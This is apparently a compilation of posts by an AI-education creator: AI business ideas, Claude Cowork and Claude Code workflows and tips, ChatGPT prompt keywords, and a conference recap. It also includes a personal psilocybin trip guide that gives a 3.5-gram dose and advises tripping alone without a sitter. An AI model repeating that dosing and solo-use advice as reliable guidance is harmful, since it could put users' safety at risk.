Most creators are not AI ppl or system builders.

They make 1 post a day on a few platforms and leave a bunch of other platforms… totally untouched.

That’s the opportunity!

The pitch is NOT “I’ll edit your videos.”

It’s “I’ll grow your followers on autopilot on X platform.”

• Target creators with 1 strong platform but missing presence on 3+ others.

• Pitch the OUTCOME, not the task: “I’ll grow your audience on these 3 platforms hands-free.”

• Use AI to repurpose: for example, long-form YouTube into TikTok shorts, Instagram reels, Threads posts. AI gets you 75% there, but you need to do the remaining 25%.

• Charge a monthly retainer: this is recurring, NOT a 1-time gig.

• Set up the system once, then maintain it. Most of your time goes to monitoring, not building, tweaking and experimenting and checking out viral examples in your niche.

• Bonus leverage: most creators have zero AI fluency, so the bar to look like a genius is pretty low.

If you’ve already done step 1 for yourself, this is even easier because you have your own results to show.

Creators don’t want individual tasks. They want FOLLOWERS.

Sell the OUTCOME, not the task.

Walk away with: A small roster of creator clients on monthly retainers. Same skills as step 1, generating revenue through a different offer.

3. Faceless Channels (Path A)

There’s a LOT of confusion about how faceless channels make money.

There are 2 monetization paths, and one makes WAY more money than the other:

• Platform rewards (views x demographics x watch time): only works on YouTube long-form. NOT shorts, NOT reels, NOT TikTok.

• Driving traffic to an offer: a mobile app, a digital product, coaching, or your own tool.

• Real example I’ve seen: faceless TikTok slideshows about going viral, driving traffic to a mobile app, which went from $0 to $80,000+ monthly recurring revenue in < 1 year.

• AI is for production, NOT automation: use it for thumbnails, scripts, b-roll, voiceover. Do NOT auto-generate slop at scale and expect it to work.

• Copy the format: find faceless channels with low subs and high views, then model their formats.

• The biggest channels are NOT automated: every successful faceless creator I know is very hands-on. AI != Automation. You can use AI to help you with each step of the process, but NEVER automate in the beginning before you’ve figured out what works.

If you want to optimize for platform rewards, it has to be YouTube long-form. No other social platform pays well.

If you want to use the explosive growth of short-form TikTok and Reels, then you NEED an offer at the end of the funnel.

Using AI does NOT mean Automation.

The most successful faceless channels are AI-assisted, not fully AI-automated.

Walk away with: A clear picture of which faceless model fits you. Most people pick wrong here.

4. Education Communities (Path A)

Most paid AI communities I’m in make at least $50k+ per month.

The Skool winner pulled $300k+ per month. Solo.

They all built a brand first or in parallel.

• Start with content (step 1), share what you’re learning, and build a small audience.

• Pick a clear demographic or niche: e.g. AI for women, AI for Gen X, vibe coding, AI automation, AI for creativity.

• Bundle 4 things into 1 offer: course + cohort + workshops + the people themselves.

• Recurring monthly revenue is the magic: $50k+/month is realistically achievable solo.

• Have qualifying questions to keep quality high. Even my FREE community has them.

• Showcase the wins: members closing $10k contracts, hitting MRR milestones, signing speaking gigs. Wins are the moat.

• Funnel stays simple: YouTube long-form + Instagram with ManyChat DM automations drive new members to community.

The mistake I see EVERY week is people launching a community before anyone knows who they are.

If random internet strangers don’t trust you yet, they will NOT pay $70 a month to hang out in your Skool. That’s why all the top paid AI communities you see pump out so much content.

People are premium. They’ll pay a lot of money to be in a room with other talented humans. It’s why community beats course.

Walk away with: A real plan for monetizing an audience you’ve already started building.

Path A done.

Expect 1 to 3 YEARS to compound.

It’s worth every minute, by the way, but it’s not fast cash.

Now let’s talk about the businesses that can put money in your bank account THIS week.

5. Personal AI Assistant For Busy Founders (Path B)

Most founders are non-technical, drowning in work, and HAVE money to throw at problems.

You’re not selling tools. You’re selling 15 hours back per week.

• Pick a defined area of pain: email, CRM, sales follow-up, social media analytics, recruiting, admin.

• I’d start with email + CRM: the easiest wins, the clearest ROI.

• Build an assistant which DOES things, not an AI yapper chat which tells the founder what to do. Big difference.

• Use existing tools where you have them: Fyxer is a good example for inbox, off-the-shelf CRM AI, dashboards in Claude or n8n.

• Charge a setup fee + monthly maintenance: you’re a long-term partner, not a 1-off contractor.

• Find clients through cold DMs on LinkedIn and Instagram: 200 DMs a day, every day, spread across multiple socials. Lead with VALUE or compelling numbers/examples.

Founders don’t want to set up tools. They want someone to walk in, install everything, and walk back out.

Busy founders LOVE to throw money at problems.

Do it FOR them and charge more.

They do not have BANDWIDTH to do stuff themselves.

Walk away with: A first client within 1 to 2 weeks if you DM 200 people a day.

6. Claude Training For Businesses (Path B)

Claude is the hottest AI tool to learn right now and supply has NOT caught up.

There aren’t even many Claude Cowork tutorials on YouTube with 1M+ views yet. It’s early…

• Pick a specific format: Claude Cowork training, Claude Code training, Claude for marketing, Claude for finance, just choose something that you’ll stick to for 1 FULL YEAR.

• Pitch teams, not individuals: companies have budget.

• Learn from FREE content: my Claude Cowork Masterclass alone gives you enough training to charge $ thousands.

• 2 ways to find clients: cold DM 200 people a day, OR guest on a YouTube channel showcasing an impressive Claude use case.

• Pitch is dead simple: “I’ll train your team in 1 day and save 5 hours per person per week.”

When people ask me what to charge, my answer is always the same.

Charge the highest number you say out loud without laughing.

It’s a personal mindset thing, NOT a budget thing.

Walk away with: A reusable training package you sell repeatedly. Also, I highly encourage you to make content from your experiences.

7. AI Consulting (Path B)

Most businesses are at a level 1 out of 5 in AI fluency.

They installed ChatGPT a few months ago. They typed in 5 prompts. Felt the answers were mehhh. The End.

The gap is HUGE between level 1 vs. level 5 AI in fluency.

• Start with an audit: charge $500 to $15k to assess where AI fits in their business.

• Audit components: tool selection, process gaps, training needs, implementation roadmap.

• Don’t promise the world upfront: scope creep will eat you alive.

• Cold DM is STILL the funnel: Linkedin and Instagram, 4 hours a day, 200 messages, spread across socials. Tap into your warm market obviously if you have one.

• Use the timeless sales pitch: “I’ll save you time, make you more money, and keep you ahead of competitors. With AI.”

Consulting is one of the FASTEST paths to cash, in general.

The timing is NOW because every business owner is panicking about falling behind. And those who don’t learn AI will most definitely fall behind.

You’re not selling AI. You’re selling clarity, relief, certainty.

Every business pitch is the same, as old as sand:

Save time. Make money. Don’t fall behind.

Now we’re tacking “AI” onto the end.

Walk away with: Skills to print money for the rest of your career, regardless of which AI is hot. Consulting helps you develop multiple foundational skills, which you’ll use forever.

8. AI Automation Agency (Path B, harder than it looks)

A LOT of creators are pushing this as the easy path.

It’s not.

• What it is: connecting tools (Zapier, n8n, Make.com) with AI calls inside the workflow.

• The reality: most businesses are infrastructure disasters. Messy data, no docs, tools without APIs that you’re somehow expected to automate and sync.

• You need 2 roles: someone filling the funnel (sales) AND someone fulfilling (building).

• Where to find clients fast: cold DMs, content, OR Upwork. Yes, Upwork.

• Upwork hack: apply within 2 hours of the job post, in proper English, being an actual human. The bar is shockingly low; I tested this a few months ago.

• The pitch is always: “I’ll build automations to save you time and money.” NOT “Look I know XYZ features in ABC apps.”

Honestly, 99% of creators selling the AAA dream make more money from their COMMUNITY or CONTENT than from their actual agency.

Always follow the money :)

Automations break all the time. Edge cases. Tools without APIs.

I feel an AI automation agency is consulting, but 5x harder.

9. Vibe Coding Apps (Hardest path)

I’m bullish on vibe coding.

I’m NOT bullish on it as your FIRST business.

• Vibe coding lets you build fast: type what you want, AI writes the code.

• It does NOT make it easy to build something GOOD: those are completely different skills.

If you want to pursue this, here’s my best advice in a nutshell:

• MVPs are way too complicated: aim for 1 thing the user achieves in their first 90 seconds.

• Flip the time ratio after launch: 90% of your time goes to MARKETING, not building.

• Marketing minimum: 4 hours a day, every day, until you have a steady trickle of users.

• Best path in: build an audience FIRST OR partner with someone who will be handle marketing fulltime, then launch your product.

Vibe coders get stuck because they treat shipping features as the same thing as growing the business.

It’s not.

If you don’t have an audience and you don’t know marketing, this path is brutal.

Vibe coding makes it easy to build fast. It does NOT make it easy to acquire customers. Those are 2 different SKILLS. Don’t underestimate the work involved in marketing. If you’re a dev, treat marketing as a Systems Engineering problem and spend 4 hours/day on it, no joke.

Walk away with: Permission to NOT pick this one :)

Hmmmm….

If you’re brand new, start with step 1.

Content sets you up for EVERYTHING else: communities, training, consulting, products. All of it.

It’s also, like, really really easy :D just copy other people’s viral videos, and you can start by copying all of MINE.

However, if you need cash THIS month, pick step 5, 6, or 7.

DM 200 people a day on LinkedIn and Instagram. It works.

I know it works because it’s how I’ve hired people who DM’d me out of nowhere. Freelancers, services, products. Yes I read cold msgs.

And if you have a technical background and you’re willing to grind, step 8 or 9 might work. But go in with EYES WIDE OPEN. It’s less about building and much more about marketing/distribution.

The thing nobody tells you…

Most people who hit $1M end up doing BOTH paths.

They start with one, build momentum, then layer in others.

Pick where you START. You are not picking where you END, so stop being so impatient and harsh on yourself!

The fastest way to $1M with AI is NOT picking the perfect path. Pick ONE path and doing volume consistently over a long time.

Which path are you starting with?

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I shared my Claude Cowork workflow with Hubspot’s Chief Marketing Officer, Kipp Bodnar, and people kept asking for the prompts!

So here they are, all 6 steps, in order, with the prompts.

Who this is for:

Creators and founders who want to scale content creation and marketing WITHOUT hiring a team. People who want high-quality human-in-the-loop AI content. I review every single post before it goes live. There’s the whole point!

Who this is NOT for:

If you want full automation without reviewing content quality (which I don’t recommend btw unless you’re very experienced).

Follow along here:

1. Build a “write-content” skill in YOUR voice

Most AI writing sounds like AI.

Generic. Polished. Forgettable.

The fix is dumb simple. Teach Claude to write like YOU before you ask it to write a single post.

Open Claude Cowork and run this exact prompt:

Create a “write-content” skill which writes social media posts in my brand voice about my business and personal brand. Interview me until you are 95% confident the outputs will reflect my brand.

Notice the last line. That’s the magic!

Claude will fire questions at you… What platforms do you create for? What are your content pillars? What sounds like you? What NEVER sounds like you? Do you share personal stuff? How do you end a post? etc.

It will ask for writing samples.

I HIGHLY SUGGEST taking this step seriously… you will save SO MUCH TIME not having to fix generic outputs later.

Paste your best-performing posts (or if you don’t have any, grab inspiration posts from your fave creators). The more raw material you give Claude, the better the skill gets.

When you’re done, Claude saves the whole thing as a reusable skill. Think of it like a custom GPT, but WAY more flexible because it lives inside Cowork with access to your files, your tools, and your full context.

Walk away with: “/write-content” skill dialed into your voice. ~3 hours of fine-tuning saves you FOREVER on every future post!

2. Open a new chat and write your first drafts

Now test it…

Start a fresh Cowork conversation, type /, and click “write-content”. When it lights up blue, the skill is active.

Here’s a simple prompt:

/write-content LinkedIn, Facebook, and Twitter post about the receipts image in my downloads folder

The receipts image is a screenshot of a Facebook analytics page showing 9M organic views in 2 months.

Claude found the file. Analyzed the screenshot. Pulled the numbers. Wrote 3 platform-specific drafts in my voice.

The LinkedIn post had my signature emoji at the end.

The Twitter post was short and punchy because of how I told the skill I prefer it.

This is where most people stop.

But don’t stop here!

Read every draft. If something sounds off, tell Claude WHY.

Then say:

Update the skill with everything we talked about.

This is how you finetune Claude continuously. Do this regularly and your skill gets sharper EVERY single time.

Walk away with: 3 platform-ready drafts in minutes, each one tuned to how YOU talk.

3. Connect Blotato to Claude Cowork

Now you need a way to generte the visuals and schedule the posts without leaving Claude.

Blotato handles both.

I built it for myself when I was drowning in content, trying to scale solo across multiple platforms. It now powers most of what you see me post.

Setup takes 60 seconds:

• Sign up at blotato.com

• Settings > API > generate an API key

• Open Claude Cowork > Settings > Connectors > Custom Connector

• Name: Blotato

• URL: https://mcp.blotato.com/mcp

• Click Connect, approve OAuth, done!

Now Claude talks to Blotato directly. Same way it talks to Gmail, Google Drive, or HubSpot if you’ve connected those.

Walk away with: A live connection between Claude and Blotato. ~1 minute of setup unlocks insane automation capabilities.

4. Generate visual to match your social media post

Visuals stop the scroll.

A naked LinkedIn post gets 1/3 vs. a strong visual.

Run this prompt:

Use Blotato to create a visual to accompany our LinkedIn post. Let’s use the “whiteboard infographic” template.

Claude calls the Blotato MCP tool, picks the template, and kicks off generation.

Behind the scenes, Blotato will use Nano Banana 2, so the wait is usually a couple of minutes for an infographic.

When it’s ready, Claude drops a “Show image” link in the chat.

You’ll get a clean whiteboard-style infographic with charts, headlines, and a layout which looks like a designer made it.

This is the SAME template I used for a recent LinkedIn livestream announcement, and it pulled HUGE engagement!

Walk away with: A scroll-stopping LinkedIn-grade infographic to accompany your post.

5. Schedule posts to LinkedIn, Facebook, and Twitter

This is the part which USED to take me hours every week.

Now it takes ONE prompt.

Schedule all 3 posts 10 minutes from now.

LinkedIn gets the infographic.

Facebook gets the receipts screenshot.

Twitter posts text only.

This single line tells Claude:

• WHICH platforms (LinkedIn, Facebook, Twitter)

• WHICH media for each (different visuals, as an example)

• WHEN to publish (10 min from now, but you might say “next Tuesday at 9am MST” or “spread across the next 3 days”)

Claude calls Blotato.

Blotato schedules each post with the right asset.

You can also reschedule on the fly. Say something pops up and you want to bump everything 2 days. Simply tell Claude in plain english.

NO clicking calendars, NO drag-and-drop, NO juggling.

Walk away with: 3 platforms scheduled in seconds. ~15 hours/week saved over manual scheduling.

6. Confirm everything in your calendar

Trust but verify!

This has always been a good motto…

Check your calendar here: https://my.blotato.com/queue/schedules

You can also ask Claude: “What posts do I have scheduled?”

You’ll see all 3 posts lined up. Each one shows the platform, the time, the caption, and the attached media.

If something looks wrong, edit it right there. Or tell Claude:

Delete those 3 posts I scheduled, I want to revise them.

Done. Claude calls Blotato, removes them, and you’re back to draft mode.

After a few days of this, you’ll NEVER GO BACK to manual content creation without AI.

My honest take

This workflow saves me 15+ hours every week.

But the REAL win is quality control.

I still read every single post before it goes out.

My personal brand is too important to hand off.

What Claude + Blotato do is collapse the boring tedious parts.

What’s left is the part which matters - ideas, editing, reviewing, iterating, sharpening.

This is the RIGHT way to use AI as a content creator.

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Now here’s my UNOFFICIAL recap of the main things I learned:

1. Everyone is ADDICTED to their phones... ppl literally cannot sit still and listen. At one point, every single person sitting around me was on their phones checking email/slack/socials instead of listening. I’m prolly one of the only people who does NOT have social/email/slack on my phone. Now I realize this is a superpower.

Sometimes I worry ppl are too obsessed with AI itself and lose sight of the bi picture. I teach AI for free so that you can build leverage and have more time to enjoy the things that matter... I view AI as a tool to achieve more time/money flexibility without big upfront costs. And I view social media as the most efficient distribution engine for education in 2026; if it wasn't, I honestly wouldn't be on it.

2. Posting/streaming to socials gets my free AI education to a much bigger and more diverse audience compared to exclusive events/conferences. Still, I do appreciate attending events like this and witnessing the resources required to pull off such a high-quality production (from a content creator perspective).

3. For me, Richard Edelman stole the show with a strong thesis that businesses should be societal leaders, i.e. consistently demonstrating the values you want to see in the world instead of relegating this responsibility to the realm of “politics” only... no surprise he went to my high school Exeter 🦁 when I noticed the lack of free high-quality AI education and the worsening AI literacy gap, I didn’t need anyone’s PERMISSION to do something about it. I embraced the vision I wanted - free education for all so that no one is left behind - as my personal responsibility. (Kierkegaard, much?)

4. Tougher AI topics like the widening class gap, widening literacy gap, culture of fear, job displacement, and lack of upskilling were only lightly touched on... the palatable answer was: “Our plan is to upskill employees so we can still fire them but they can be hired SOMEWHERE ELSE”... lol ppl wonder why I don’t care about teaching AI to big companies (answer: the gains DO NOT trickle down to you employees)

literally nobody acknowledged the massive overhiring that happened when interest rates were low, leading to multiple rounds of layoffs. Nobody talked about how the headline "we're firing ppl because of AI" is often because it's a much nicer spin than ..."we overhired when money was cheap and didn't hit revenue targets".

5. The celebrities were super cool to see, but overall discussions were shallow. The most interesting discussions came from business leaders running big orgs, navigating this insane time. But unfortunately you can tell they were holding back. I would’ve loved to hear what they REALLY think.

6. I instantly lost respect for Mr Beast when he gave a canned PR response when asked whether we should limit kids’ time watching social media. He deflected it saying he’s not an expert, he hasn’t read anything about it blah blah blah, and what if kids watch educational videos??? meanwhile making total brainrot videos. It would’ve been more credible if he just acknowledged the misaligned incentives.

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I think I can make the TIME100 AI list one day, but not sure how...

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Today I’m celebrating several milestones:

• crossing 2,000,000+ followers across socials

• getting 32,000,000+ views past 30 days (solo)

• while building a highly profitable SaaS app (solo)

• that empowers 1000s of business entrepreneurs & creators

• and keeping my AI education 100% FREE, despite many temptations!

I truly have no idea what’s next… all I can say with certainty:

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My secret to scaling without a team, without a big budget, is using Blotato as my central command center. It connects my creative workflow in Claude Code directly to social platforms.

Most entrepreneurs fail because they try to juggle multiple tools manually, instead of focusing on creating high-value content.

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I highly recommend trying each one!

1. /btw - Run this when claude’s already doing something and it will answer without cancelling its work.

2. /model - set the model; save tokens

3. /effort - set the effort (low, medium, high, max); save tokens

4. /advisor - When Claude needs stronger judgment (a complex decision, an ambiguous failure, a hard problem), it escalates to the advisor model for guidance, then resumes. For non-tech tasks, pairing Sonnet as the main model with Opus as the advisor gives you near-Opus performance with less tokens.

5. ULTRATHINK - Just type this anywhere and claude will think max reasoning. The keyword should turn rainbow colors.

6. /caveman - Install this open source skill and cut output tokens substantially.

7. /context - Visualize current context usage as a colored grid.

   1. Shows optimization suggestions for context-heavy tools, memory bloat, and capacity warnings.

   2. I also recommend open-source library “context-mode” to reduce MCP token consumption.

8. /clear - Run between tasks to clear old context. Helps ensure high accuracy by avoiding polluted/bloated context. Also helps reduce token consumption.

9. /insights - Claude will analyze all your sessions from past 30 days and suggest how to be more productive, including what’s working, what’s holding you back, quick wins, and specific features to try based on your usage patterns.

10. /skill-creator - the meta skill that creates skills with evals. Walks you through creating, testing, and improving your own skills - the skill that builds skills. It also benchmarks for reliability. The Benchmark mode runs your skill N times and measures variance. Your skill works once? Cool. Does it work 9 out of 10 times? That’s what benchmark tells you. And it tries to close the loop with Improve mode. If your skill fails 3 evals, Improve mode analyzes the failures and refines the skill. Then it re-runs.

/plugin marketplace add anthropics/claude-plugins-official

/plugin install skill-creator@anthropic.

11. /team-onboarding - Generate a team onboarding guide from your Claude Code usage history. Claude analyzes your sessions, commands, and MCP server usage from the past 30 days and produces a markdown guide a teammate can paste as a first message to get set up quickly

12. /loop - runs a task repeatedly in your current session. You give it an interval (/loop 5m /write-post). Dies when you close the session. Good for: polling a build, babysitting PRs while you work, watching a long-running process. Session-scoped, dies when terminal closes. Designed as a safety net against forgotten loops. Minimum 1 minute.

/loop 30m check my Gmail for new emails from clients & give me a one-line summary of each

13. /schedule - creates remote task that runs independently in the cloud. Fires on a cron schedule (e.g. every weekday at 9am) whether or not you’re at your machine. Good for daily standup summaries, recurring automations, scheduled reports. Daily run caps: Pro = 5, Max = 15, Team/Enterprise = 25. No local file access — each run is a fresh repo clone. Minimum 1 hour.

/schedule 0 9 * * 1-5 research trending AI news using Perplexity and suggest 3 ideas with hooks

14. /remote-control - Continue session on your phone in Claude app

15. /rename - Rename the current session. Useful if RC’ing multiple sessions.

16. /resume - Resume a previous session.

17. Claude Chrome extension. For Claude Code, launch it with “Claude --chrome”.

    1. Automate tedious browser tasks, such as duplicating and customizing Manychat automations

    2. Playwright MCP is sometimes better, similar

18. /rewind - Rewind the chat/code to a previous point, or summarize from a selected message. You see a popup & select a message to “fork” the chat from that point.

19. /statusline - Status lines are useful when you: Want to monitor context window usage as you work, Need to track session costs, Work across multiple sessions and need to distinguish them, or Want git branch and status always visible

/statusline show model name and context % with a progress bar

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They’re not official codes, but each keyword invokes a distinct perspective and different output style.

Type these anywhere in your prompt:

1. TRUTHMODE - Stops ChatGPT from glazing and forces brutally honest feedback.

2. ELI10 - Explains anything like you're 10 years old

3. REDTEAM - Plays devil's advocate and makes you smarter

4. HORMOZI - Makes ChatGPT your $100M business coach Alex Hormozi

5. /human - Makes your output sound like a real human wrote it

6. UNLEARN - Shows outdated misconceptions holding you back

7. SOCRATES - ChatGPT will teach you by asking you questions

8. LINDYMODE - Answers based on long time proven methods

9. 80/20 - Gives you the easiest path to get biggest income

10. FUTUREYOU - Add this anywhere and chatgpt will answer just like your future self would, quite enlightening :)

11. ANTIADVICE - Lists the popular guru advice you should ignore, then explains what to do instead.

12. FIRSTPRINCIPLES - Breaks the problem down to fundamentals instead of copying common advice.

13. YCOMBINATOR - Makes ChatGPT your $10B startup coach like YC

14. GARYVEE - Makes ChatGPT your $100M attention coach like Gary Vee

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I’ve done a lot of things in a lot of places.

Many mistakes were made.

There’s a lot of terrible information and random charts on the internet, reddit, etc.

Now that I’m wiser, here is what’s ACTUALLY important:

• your physical safety

• your psychological safety

• having a life-changing experience

To be clear, I’m not talking about microdosing.

That’s cute… but I’m talking about having a mind-bending life-altering experience with sacred medicine.

It should feel like “…hanging on to a rocketship for dear life!”

Very few people I know have gone there.

Most people dabble because it’s trendy right now.

Proceed with caution.

Reading

If you’re an anxious overthinker, it can help to read a book before your trip.

There are lots of popsci mainstream books.

The most well-known is How to Change Your Mind.

Dosage

I’ll reiterate that this is for educational purposes only, and these guidelines help to reduce harm and reduce risk.

If you’re new, stay away from strong strains like Penis Envy. With strong strains like these, you always want to take a conservative amount to test the waters, then work your way up. This is how you reduce risk and stay safe.

Assuming you have a NORMAL strain, the book How to Change Your Mind researched that 1/8 ounce (3.5 grams) is the starting point for a “traditional” psychedelic experience.

Environment

Many people think they need a “sitter”, i.e. someone to watch over them. I personally don’t think it’s necessary for most people.

Keep in mind, most people don’t know how to be a proper sitter, so they may actually be annoying/intrusive during your experience.

However, it’s a good idea to inform someone you TRUST about what you’re doing, so they can check in on you when your experience is winding down.

Do I think you need a “retreat”? Not really, but if you can afford it and you want it, retreats can add an extra layer of safety.

This is the environment I strongly suggest, again to maximize your physical and psychological safety:

• you alone

• in the morning

• in your bedroom

• listening to music

• closed eyes + sleeping mask

Really simple. Don’t try to hike, bike, kayak, etc. Don’t do it with your spouse or friend (because you don’t know what they’ll do or how you’ll react to them).

Essentials

Be clean, don’t be on any other substances, consult a doctor or ask google/chat if you’re currently on any medications, eat clean for several days beforehand, don’t do alcohol/smoke for several days beforehand, etc.

These are the essentials:

• Clean your bedroom

• Sleeping mask

• Water bottle

• Tissue box

• Headphones

• Comfortable pillow

• Comfortable blanket

• Comfortable clothes

• This Spotify playlist (5.5 hours long)

• Take a full day off from work - no afternoon/evening plans!

Put all the items on your bed or next to your bed, easy to reach.

The day before, don’t binge during dinner, just eat clean.

Here are things you do NOT want near you:

• Pencil/pen (trust me, you won’t be “journaling” lol)

• No sharp or pointy objects

• No glass (use a plastic water bottle)

• No eyedrops/glasses (don’t touch your eyes)

These guidelines help reduce risk of physical harm by keeping only what is essential and removing all other objects (especially sharp/pointy/breakable objects).

The Big Day

Here’s a sample schedule that helps reduce sleep disruption and reduce psychological harm by starting in the morning when you’re fully awake & alert:

• wake up

• poop (important! okay to drink a little coffee to get it done)

• eat it

• look at something pretty (i.e. nature/photo) for 15-30 minutes, then go to your bedroom

• turn off bedroom lights

• put on headphones

• start spotify playlist

• put phone on airplane mode so you don’t get distracting texts

• put on sleeping mask

• lay down in bed, with pillows so that your head has support

• close your eyes

• focus on the music

The music IS your guide.

The music substantially helps reduce risk of psychological harm.

Close your eyes and listen to the full 5.5 hour Spotify playlist, which was curated based on scientific research (i.e. people rated which music helped them most).

INTENSE

If things get really intense, there are 3 things I want you to remember…

2 words and 1 “emergency exit”.

REMEMBER THESE 2 WORDS:

• BREATHE

• SURRENDER

When it feels like a lot, think these 2 words to yourself.

Just THINK these 2 words, and your body will know what to do.

It helps a lot.

BUT if it still feels like too much:

TAKE OFF your sleeping mask and OPEN YOUR EYES!!

Seeing your familiar surroundings will instantly reorient you and calm down the intensity.

These 3 tips will help reduce the risk of psychological harm.

Post Trip

After ~5 hours, you can usually safely walk around your house.

BUT DO NOT DRIVE!

Drink water to hydrate.

Drink hot tea to settle your stomach.

Eat something clean because you’ll probably be hungry.

I recommend staying off your phone/computer/TV for the rest of the day, if possible. It may be more productive to let the insights settle than to immediately return to your technology addiction.

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Who this is NOT for: If you’ve been using Claude Code for months, you probably won’t use Cowork except for certain features that are superior (e.g. scheduling, artifacts)

Setup

You downloaded Claude Desktop. You opened it.

You’re staring at a blank screen going “now what?”

This is where 90% of people quit.

I walk you through the ENTIRE install & setup.

What to download, what to click, what to type first.

Walk away with: Claude Cowork installed, running, and ready on your machine. 10 minutes, zero confusion.

Product Tour

You know the feeling of using new software where you keep clicking random buttons hoping to find the right one?

I give you a full walkthrough of the interface. Every button, every panel, every menu. So you never fumble.

This is the part most tutorials skip because it’s “boring.”

But it’s the difference between wasting 3 hours and knowing EXACTLY where things are.

Walk away with: Complete mental map of the interface. You’ll know where everything lives before you build your first thing.

Follow along here:

Marketing Plugin and Skill Creator

Here’s where it gets spicy :)

Claude Cowork has a plugin system.

A plugin is a collection of Skills.

In the video, I walk through installing a marketing plugin, which transforms Claude into a content creation machine.

Then I CREATE a custom Skill from scratch, live.

Skills are reusable instructions. You teach Claude how to do something ONCE, and it remembers forever. No more copy-pasting the same prompts over and over.

This is the section separating people who use Claude casually from people who build SYSTEMS that save 15+ hours per week.

Walk away with: Your first custom Skill installed and working. The foundation for automating anything you do repeatedly.

Use Case 1: Organize Local Files

Your Downloads folder has 847 random files in it. Screenshots from 2024. PDFs you opened once. 6 copies of the same image.

I pointed Claude at my ACTUAL messy folder and it organized everything in minutes.

Photos sorted by date. Documents grouped by type. Duplicates flagged.

Zero manual sorting. Zero dragging and dropping.

This is a great first project because it’s low stakes, immediately useful, and you SEE files moving around on your own computer in real time.

Walk away with: A clean, organized file system. ~2 hours of manual sorting done in under a minute.

Use Case 2: Personal Email Assistant

You open Gmail. 47 unread. 12 are newsletters. 8 are spam. 3 need replies. And you spend 45 minutes figuring out which is which.

Every. Single. Morning.

I’ll show you how to connect Claude to Gmail and build a personal email assistant. It reads your inbox, summarizes what matters, drafts replies, and flags anything urgent.

The key part:

I walk through connecting Gmail via CONNECTORS (MCP) so Claude has REAL access to your email. Not fake demo data!

Your REAL inbox.

MCP is what turns AI from a consultant into an employee.

Without it, Claude gives you instructions.

With it, Claude DOES the work.

Walk away with: A working email assistant connected to your REAL Gmail. ~45 min/day saved on inbox management.

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Use Case 3: Create On-Brand Content

This is what I use Claude for every single week.

And it’s the section where most people go “oh… SO this is how she does it.” LOL

The problem: you ask AI to write something and it sounds like a robot wrote it. Generic. Slop-py. Obviously AI.

The fix is simple:

Teach Claude everything about your voice/business ONCE.

I show you how to build a brand file with your voice, your style, your rules. Claude reads it at the start of every session. It never forgets.

Captions, tweets, newsletters, video scripts.

All in YOUR voice. Not generic slop-py “AI voice.”

I distribute 250+ pieces of content per week and check each one for quality. The brand file is the foundation for ALL of it.

Walk away with: Your own brand file + Claude writing content in your voice. The same system behind 250+ weekly posts.

Use Case 4: Create UNLIMITED Videos

I’m not exaggerating with the title.

The bottleneck for most creators isn’t ideas. It’s production. Writing scripts, outlining topics, creating visuals, formatting for different platforms… it takes FOREVER.

I show you how Claude COWORK generates videos, unlimited & free.

It’s similar to Claude Code + Remotion, but Cowork uses a different set of open-source libraries. These work best for animated explainer videos with simple text or motion graphics, although you can also incorporate your own assets (photos/videos).

1 person. Unlimited output.

The solopreneur dream!

Walk away with: A repeatable video production workflow. Go from “I have an idea” to “I have a script + outline + visuals” in minutes, not hours.

Use Case 5: Social Media Content Calendar

“What should I post today?”

If you’re asking this question every morning, you’ve already lost.

The best creators NEVER wonder what to post.

They have a system.

I show you how to build a full content calendar with Claude.

Plan what you’re posting, where, and when. Distribute seamlessly Aaross multiple platforms.

Claude brainstorms topics, batches content, schedules posts, and keeps everything organized in 1 place.

No more panic posting. No more going dark for 2 weeks because life got busy.

Walk away with: A full content calendar across multiple platforms. A system running even when you don’t feel like creating.

Here’s why I made this free.

I’ve built 1.8M+ audience and a profitable biz solo by going DEEP on FEWER ai tools.

Not by dabbling with 50 shiny hyped objects.

Claude Cowork is the tool I’d learn FIRST if I were starting today.

This masterclass is the tutorial I wish existed when I started.

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I was mass-burning through my Claude subscription for WEEKS before I figured this out.

Not because I was doing anything fancy.

Because I was doing everything un-optimized.

Running Opus at max effort on every task. Letting my context window bloat to 80K tokens before I even typed a word. Feeding Claude my entire life story at every turn.

Here are the 6 things I changed.

All practical, all free, most <5 minutes.

1. Stop Using Opus for Everything

Type /models in Claude Code.

Then, switch models based on task complexity.

Opus for complex multi-file refactors, architecture decisions, debugging gnarly issues.

Sonnet for writing tests, simple edits, explaining code, most daily work.

Haiku for quick lookups, formatting, renaming, anything repetitive.

You don’t need a sports car to go get groceries.

This alone makes a HUGE difference.

Far more efficient model routing.

2. Clear Your Context Between Tasks

Every time you hit enter, Claude Code is shipping tons of system context before it even looks at what you typed.

And it snowballs.

The longer your session runs, the more bloated it gets. Slower responses, worse quality, higher cost.

You’re literally paying more to get dumber answers.

To fix this:

/clear between unrelated tasks. Wipe the slate, start fresh.

/compact when you’re about to start something big. It squeezes your conversation down to just the important parts.

3. Use CLI Tools Instead of MCP

If a CLI exists for a tool, use it over MCP. Faster AND cheaper.

GitHub is the perfect example. The gh CLI works better and eats WAY fewer tokens than the GitHub MCP server.

MCP tools inject their full schema into your context on BOTH sides… the tool definitions going in, the raw output coming back. You’re paying for all of it.

My rule of thumb:

CLI and Skills where possible.

MCP if there’s no alternative.

4. Install the Context-Mode Plugin

This open source project keeps raw MCP tool output from flooding your context window.

I use it daily. Runs in the background so I don’t have to proactively do anything.

It cuts MCP token usage by 50-90%.

The concept is simple. When an MCP tool returns 10,000 tokens of raw JSON, context-mode indexes it in a sandbox instead of dumping it into your conversation. You get a summary. Claude gets the info it needs. Thus, your context stays clean.

Install it, configure it, done!!

Biggest bang for buck if you use loads of MCP servers.

5. Keep Your CLAUDE.md Lean

Your CLAUDE.md gets injected into EVERY single request.

Every turn. Every follow-up. Every /clear and fresh start.

If your CLAUDE.md is 5,000 tokens, you’re taxed 5,000 tokens on every interaction before Claude even reads your code!

Give it 5 rules & point it to the details when it needs them. Think “email with links”, not a “2000-page employee handbook”.

Keep it under 2,000 tokens.

Put the detailed stuff in separate files. Reference them with file paths. Claude reads them when it needs to.

Here’s a skeleton:

# CLAUDE.md

## Rules
- Use TypeScript strict mode
- Write tests for every new function
- Follow existing patterns in the codebase

## Key Files
- API routes: see src/api/README.md
- Database schema: see docs/schema.md
- Style guide: see docs/style-guide.md

5 rules.

3 file pointers.

Under 500 tokens.

Claude reads those linked files ONLY when it’s working on something relevant.

NOT every single turn.

BIG saving if you have a super bloated claude.md file (guilty!)

6. Run Claude Code for FREE With Ollama

$0 dollars. Forever.

Everything runs local on your own machine, no API key needed, no subscription, no usage caps.

Step 1: Install Ollama

Head to ollama.com and grab the installer. It takes about 30 seconds on Mac, Windows, or Linux.

Step 2: Pull a coding model

